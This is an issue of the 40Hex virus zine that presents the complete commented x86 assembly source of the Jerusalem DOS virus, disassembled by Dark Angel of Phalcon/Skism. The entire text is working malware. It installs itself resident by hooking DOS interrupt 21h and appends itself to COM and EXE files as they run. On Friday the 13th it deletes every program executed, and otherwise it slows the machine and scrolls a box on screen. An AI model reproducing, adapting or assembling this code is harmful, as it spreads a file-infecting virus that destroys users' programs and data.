40Hex Number 13 Volume 4 Issue 1 File 008 .model tiny .code org 0 ; Jerusalem (Standard) ; Disassembly by Dark Angel of Phalcon/Skism viruslength = (endjerusalem - jerusalem) jerusalem: jmp enter_jerusalem db 'sU' marker db 'MsDos' COMdest dw 0, 0 activate_flag db 0 zero dw 0 filesize dw 3 oldint8 dw 0, 0 oldint21 dw 0, 0 oldint24 dw 0, 0 int8counter dw 0 tempheader dw 0 EXEdest dw 0,0 _initialSP dw 0 _initialSS dw 0 _headersize dw 0 _filelengthlo dw 0 _filelengthhi dw 0 savePSP1 dw 0 respara dw 80h parmblock: dw 0 ; use current environment dw 80h savePSP2 dw 0 ; pointer to command line dw 5Ch savePSP3 dw 0 ; pointer to 1st FCB dw 6Ch savePSP4 dw 0 ; pointer to 2nd FCB saveSP dw 0 saveSS dw 0 initialCSIP dw 0, 0 oldintFF dw 0 db 0 COM_EXE_flag db 0 header dw 0Eh dup (0) readbuffer db 5 dup (0) filehandle dw 0 fileattr dw 0 filedate dw 0 filetime dw 0 pagesize dw 200h parasize dw 10h ; paragraph->byte conversion filelength dw 0, 0 filenameptr dw 0, 0 command_com db 'COMMAND.COM' alloc_flag dw 0 db 0, 0, 0, 0 enter_jerusalem: cld mov ah,0E0h ; installation check int 21h cmp ah,0E0h jae not_resident cmp ah,3 jb not_resident mov ah,0DDh ; restore EXE file mov di,100h mov si,offset endjerusalem add si,di mov cx,cs:[di+filesize] int 21h not_resident: mov ax,cs add ax,10h mov ss,ax mov sp,700h push ax mov ax,offset relocate_entry push ax retf relocate_entry: cld push es mov cs:savePSP1,es mov cs:savePSP2,es mov cs:savePSP3,es mov cs:savePSP4,es mov ax,es add ax,10h add cs:initialCSIP+2,ax add cs:saveSS,ax mov ah,0E0h ; installation check int 21h cmp ah,0E0h jae install_virus cmp ah,3 pop es mov ss,cs:saveSS mov sp,cs:saveSP jmp dword ptr cs:initialCSIP install_virus: xor ax,ax mov es,ax mov ax,es:0FFh*4 mov cs:oldintFF,ax mov al,es:0FFh*4+2 mov byte ptr cs:oldintFF+2,al mov word ptr es:0FFh*4,0A5F3h ; encode rep movsw mov byte ptr es:0FFh*4+2,0CBh ; encode retf pop ax add ax,10h mov es,ax push cs pop ds mov cx,viruslength shr cx,1 xor si,si mov di,si push es mov ax,offset return_here push ax db 0EAh ; jmp far ptr dw 03FCh, 0 return_here: mov ax,cs mov ss,ax mov sp,700h xor ax,ax mov ds,ax mov ax,cs:oldintFF mov ds:0FFh*4,ax mov al,byte ptr cs:oldintFF+2 mov ds:0FFh*4+2,al mov bx,sp mov cl,4 shr bx,cl add bx,10h mov cs:respara,bx ; allocate enough memory mov ah,4Ah ; for the virus mov es,cs:savePSP1 int 21h mov ax,3521h ; get int 21 vector int 21h mov cs:oldint21,bx ; save it mov word ptr cs:oldint21+2,es push cs ; set new int 21 handler pop ds mov dx,offset int21 mov ax,2521h int 21h mov es,savePSP1 ; get PSP mov es,es:2Ch ; get environment segment xor di,di mov cx,7FFFh xor al,al scan_environment: repne scasb cmp es:[di],al loopnz scan_environment mov dx,di add dx,3 mov ax,4B00h ; execute original program push es pop ds push cs pop es mov bx,offset parmblock push ds push es push ax push bx push cx push dx mov ah,2Ah ; get date int 21h mov cs:activate_flag,0 ; default to no activate cmp cx,1987d ; don't activate in 1987 je no_activate cmp al,5 ; friday? jne set_int8 cmp dl,13d ; the thirteenth? jne set_int8 inc cs:activate_flag ; mark activate jmp short no_activate db 90h set_int8: ; do annoying box effect mov ax,3508h ; get old int 8 handler int 21h mov cs:oldint8,bx mov word ptr cs:oldint8+2,es push cs pop ds mov int8counter,60*30*18 ; wait 30 minutes mov ax,2508h ; set new int 8 handler mov dx,offset int8 int 21h no_activate: pop dx pop cx pop bx pop ax pop es pop ds pushf call dword ptr cs:oldint21 ; execute program push ds pop es mov ah,49h ; release memory block int 21h mov ah,4Dh ; get errorlevel to ax int 21h mov ah,31h ; go TSR mov dx,600h mov cl,4 shr dx,cl add dx,10h int 21h int24: xor al,al iret int8: cmp cs:int8counter,2 jne no_box push ax push bx push cx push dx push bp mov ax,602h ; scroll up 2 lines mov bh,87h ; (5,5) - (10,10) mov cx,505h mov dx,1010h int 10h pop bp pop dx pop cx pop bx pop ax no_box: dec cs:int8counter jnz exitint8 mov cs:int8counter,1 push ax push cx push si mov cx,4001h ; delay loop rep lodsb pop si pop cx pop ax exitint8: jmp dword ptr cs:oldint8 ; call original handler int21: pushf cmp ah,0E0h ; installation check? jne not_install mov ax,300h ; return installation marker popf iret not_install: cmp ah,0DDh je restore_COM cmp ah,0DEh je restore_EXE cmp ax,4B00h ; execute? jne exitint21 jmp execute exitint21: popf jmp dword ptr cs:oldint21 restore_COM: pop ax pop ax mov ax,100h mov cs:COMdest,ax pop ax ; get program CS mov word ptr cs:COMdest+2,ax rep movsb ; restore bytes popf mov ax,cs:zero ; clear AX jmp dword ptr cs:COMdest ; return to original COM file restore_EXE: add sp,6 popf mov ax,cs mov ss,ax mov sp,offset endjerusalem push es push es xor di,di push cs pop es mov cx,10h mov si,bx mov di,offset tempheader rep movsb mov ax,ds mov es,ax mul cs:parasize ; convert to bytes add ax,cs:_headersize adc dx,0 div cs:parasize ; convert to paragraphs mov ds,ax mov si,dx mov di,dx mov bp,es mov bx,cs:_filelengthhi or bx,bx jz no_move_code move_code: mov cx,8000h rep movsw add ax,1000h add bp,1000h mov ds,ax mov es,bp dec bx jnz move_code no_move_code: mov cx,cs:_filelengthlo rep movsb pop ax push ax add ax,10h add cs:_initialSS,ax add word ptr cs:EXEdest+2,ax mov ax,cs:tempheader pop ds pop es mov ss,cs:_initialSS mov sp,cs:_initialSP jmp dword ptr cs:EXEdest delete_file: xor cx,cx ; clear file attributes mov ax,4301h int 21h mov ah,41h ; delete file int 21h mov ax,4B00h ; execute it popf jmp dword ptr cs:oldint21 execute: cmp cs:activate_flag,1 je delete_file mov cs:filehandle,0FFFFh mov cs:alloc_flag,0 mov cs:filenameptr,dx mov word ptr cs:filenameptr+2,ds push ax push bx push cx push dx push si push di push ds push es cld mov di,dx xor dl,dl cmp byte ptr [di+1],':' ; drive specified? jne execute_nodrive mov dl,[di] ; get drive and dl,1Fh ; convert to number execute_nodrive: mov ah,36h ; get drive info`s int 21h cmp ax,0FFFFh ; drive exist? jne check_drivespace go_exit_execute: jmp exit_execute check_drivespace: mul bx ; ax = clus/sec, bx=free clus mul cx ; cx = bytes/sector or dx,dx ; check if enough free space jnz enough_space cmp ax,viruslength jb go_exit_execute enough_space: mov dx,cs:filenameptr push ds pop es xor al,al mov cx,41h repne scasb mov si,cs:filenameptr uppercase_loop: mov al,[si] or al,al jz uppercase_loop_done cmp al,'a' jb not_lower cmp al,'z' ja not_lower sub byte ptr [si],' ' ; convert to uppercase not_lower: inc si jmp short uppercase_loop uppercase_loop_done: mov cx,0Bh ; check if command.com sub si,cx mov di,offset command_com push cs pop es mov cx,0Bh repe cmpsb jnz not_command_com jmp exit_execute not_command_com: mov ax,4300h ; get file attributes int 21h jc error1 mov cs:fileattr,cx error1: jc error2 xor al,al mov cs:COM_EXE_flag,al ; ASSume COM file push ds pop es mov di,dx mov cx,41h repne scasb cmp byte ptr [di-2],'M' je EXEidentified cmp byte ptr [di-2],'m' je EXEidentified inc cs:COM_EXE_flag EXEidentified: mov ax,3D00h ; open file r/o int 21h error2: jc error3 mov cs:filehandle,ax mov bx,ax mov ax,4202h ; go to end of file - 5 bytes mov cx,0FFFFh mov dx,0FFFBh int 21h jc error2 add ax,5 ; get file size mov cs:filesize,ax mov cx,5 ; read last 5 bytes mov dx,offset readbuffer mov ax,cs mov ds,ax mov es,ax mov ah,3Fh int 21h mov di,dx mov si,offset marker repe cmpsb jnz not_infected mov ah,3Eh ; close file int 21h jmp exit_execute not_infected: mov ax,3524h ; get old int 24 handler int 21h mov oldint24,bx ; and save it mov word ptr oldint24+2,es mov dx,offset int24 ; set ours as new one mov ax,2524h int 21h lds dx,dword ptr filenameptr; load file name xor cx,cx ; clear file attributes mov ax,4301h int 21h error3: jc error4 mov bx,cs:filehandle mov ah,3Eh ; close file int 21h mov cs:filehandle,0FFFFh mov ax,3D02h ; open file read/write int 21h jc error4 mov cs:filehandle,ax ; save handle mov ax,cs mov ds,ax mov es,ax mov bx,filehandle mov ax,5700h ; get file time/date int 21h mov filedate,dx ; save them mov filetime,cx mov ax,4200h ; go to start of file xor cx,cx mov dx,cx int 21h error4: jc error5 cmp COM_EXE_flag,0 je infect_com jmp short infect_exe db 90h infect_com: mov bx,1000h ; allocate one segment mov ah,48h int 21h jnc allocation_fine mov ah,3Eh ; close file mov bx,filehandle int 21h jmp exit_execute allocation_fine: inc alloc_flag mov es,ax ; copy virus to new buffer xor si,si mov di,si mov cx,viruslength rep movsb mov dx,di mov cx,filesize mov bx,filehandle push es pop ds mov ah,3Fh ; read file to buffer int 21h error5: jc error6 add di,cx xor cx,cx ; go to start of file mov dx,cx mov ax,4200h int 21h mov si,offset marker ; zopy marker to end of file mov cx,5 rep movs byte ptr es:[di],cs:[si] mov cx,di ; write virus + carrier xor dx,dx mov ah,40h int 21h error6: jc error7 jmp error12 infect_exe: mov cx,1Ch ; read EXE header mov dx,offset header mov ah,3Fh int 21h error7: jc error8 mov word ptr ds:header+12h,1984h ; infection marker mov ax,ds:header+0eh; initial SS mov ds:saveSS,ax mov ax,ds:header+10h ; initial SP mov ds:saveSP,ax mov ax,ds:header+14h mov ds:initialCSIP,ax mov ax,ds:header+16h mov ds:initialCSIP+2,ax mov ax,ds:header+4 ; get file size cmp word ptr ds:header+2,0 ; rounded? je not_rounded dec ax ; deround not_rounded: mul word ptr ds:pagesize add ax,ds:header+2 adc dx,0 ; get total file size add ax,0Fh adc dx,0 and ax,0FFF0h ; round to nearest paragraph mov ds:filelength,ax mov ds:filelength+2,dx add ax,viruslength ; add virus length adc dx,0 error8: jc error9 div word ptr ds:pagesize ; convert to page size or dx,dx ; need to round jz dont_round inc ax dont_round: mov ds:header+4,ax ; put new values in header mov ds:header+2,dx mov ax,ds:filelength ; convert filesize mov dx,ds:filelength+2 div word ptr ds:parasize ; to paragraphs sub ax,ds:header+8 ; subtract header size mov ds:header+16h,ax ; insert as initial CS mov word ptr ds:header+14h,offset relocate_entry mov ds:header+0eh,ax ; insert new stack segment mov word ptr ds:header+10h,offset endjerusalem; & pointer xor cx,cx ; rewind to start of file mov dx,cx mov ax,4200h int 21h error9: jc error10 mov cx,1Ch ; write new header to file mov dx,offset header mov ah,40h int 21h error10: jc error11 cmp ax,cx jne error12 mov dx,ds:filelength ; go to end of file mov cx,ds:filelength+2 mov ax,4200h int 21h error11: jc error12 xor dx,dx ; concatenate virus mov cx,viruslength mov ah,40h int 21h error12: cmp cs:alloc_flag,0 ; did we allocate memory? je no_free ; no, don't free mov ah,49h ; release memory int 21h no_free: cmp cs:filehandle,0FFFFh ; clear variables je exit_execute mov bx,cs:filehandle ; restore file date/time mov dx,cs:filedate mov cx,cs:filetime mov ax,5701h int 21h mov ah,3Eh ; close file int 21h lds dx,dword ptr cs:filenameptr mov cx,cs:fileattr mov ax,4301h ; restore attributes int 21h lds dx,dword ptr cs:oldint24; restore int 24 handler mov ax,2524h int 21h exit_execute: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp dword ptr cs:oldint21 ; slack space for stack here org 710h endjerusalem: nop int 20h db 'MsDos' end jerusalem